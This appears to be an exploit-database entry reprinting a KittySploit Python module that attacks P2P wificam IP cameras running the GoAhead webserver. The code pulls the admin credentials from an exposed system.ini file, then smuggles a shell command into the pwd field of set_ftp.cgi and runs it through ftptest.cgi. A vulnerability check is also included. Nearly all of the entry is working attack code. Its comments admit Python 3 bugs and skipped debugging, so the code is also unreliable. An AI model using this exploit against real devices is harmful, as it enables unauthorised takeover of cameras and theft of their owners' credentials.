Lucene search
+L

P2P wificam remote code execution

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Credential disclosure in GoAhead webserver enables unauthenticated RCE on P2P wificam.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""P2P wificam remote code execution"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'P2P wificam remote code execution',
        'description': 'A credential disclosure in several cameras which utilize the GoAhead webserver, combined with an authenticated RCE allows for unauthenticated remote code execution.',
        'author': ['Pierre Kim', 'zh4ck', 'casept'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html', 'https://jumpespjump.blogspot.com/2015/09/how-i-hacked-my-ip-camera-and-found.html'],
        'tags': ['iot', 'camera', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        # Get credentials
        print_status("Extracting credentials")

        response = self.http_request(
            method="GET",
            path="/system.ini?loginuse&loginpas"
        )

        # Find the magic sequence "0000 0a0a 0a0a 01"
        magic_sequence_location = response.content.find(b"\x00\x00\x0a\x0a\x0a\x0a\x01")

        # Skip ahead by 144 bytes to the beginning of username
        username_location = magic_sequence_location + 144

        # Read every byte in a loop until the first '\x00'
        # THIS WILL NOT WORK UNDER PYTHON 3 (bytearrays return ints in py3)!
        username_bytes = bytearray()
        next_username_byte = bytes()
        index = username_location

        while next_username_byte != b"\x00":
            username_bytes.append(response.content[index])
            next_username_byte = response.content[index + 1]
            index = index + 1
        username = username_bytes.decode('utf-8')
        print_info("Username: " + username)
        # Same for the password
        # Get the password's location
        # Everything between username and password is \x00, so loop until that's no longer the case
        current_byte_location = username_location + len(username_bytes)
        null_byte = bytearray(b'\x00')
        current_byte = bytearray(b'\x00')
        while current_byte == null_byte:
            current_byte[0] = response.content[current_byte_location].encode('utf-8')
            current_byte_location = current_byte_location + 1
        # I can't be bothered to debug anymore, let's just subtract 1
        password_location = current_byte_location - 1
        # Read every byte in a loop until the first '\x00'
        password_bytes = bytearray()
        next_password_byte = bytes()
        index = password_location
        while next_password_byte != b'\x00':
            password_bytes.append(response.content[index])
            next_password_byte = response.content[index + 1]
            index = index + 1
        password = password_bytes.decode('utf-8')
        print_info("Password: " + password)

        # Send command
        command_url = "{}:{}/set_ftp.cgi?next_url=ftp.htm&loginuse={}&loginpas={}&svr=192.168.1.1&port=21&user=ftp&pwd=$({})&dir=/&mode=PORT&upload_interval=0".format(self.target, self.port, username, password, cmd)
        http_request(method="GET", url=command_url)

        # Run command
        run_url = "{}:{}/ftptest.cgi?next_url=test_ftp.htm&loginuse={}&loginpas={}".format(self.target, self.port, username, password)
        http_request(method="GET", url=run_url)

        time.sleep(2)
        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/system.ini?loginuse&loginpas"
        )

        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

        if response.status_code == 200 and b'\x00\x00\x0a\x0a\x0a\x0a\x01' in response.content:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation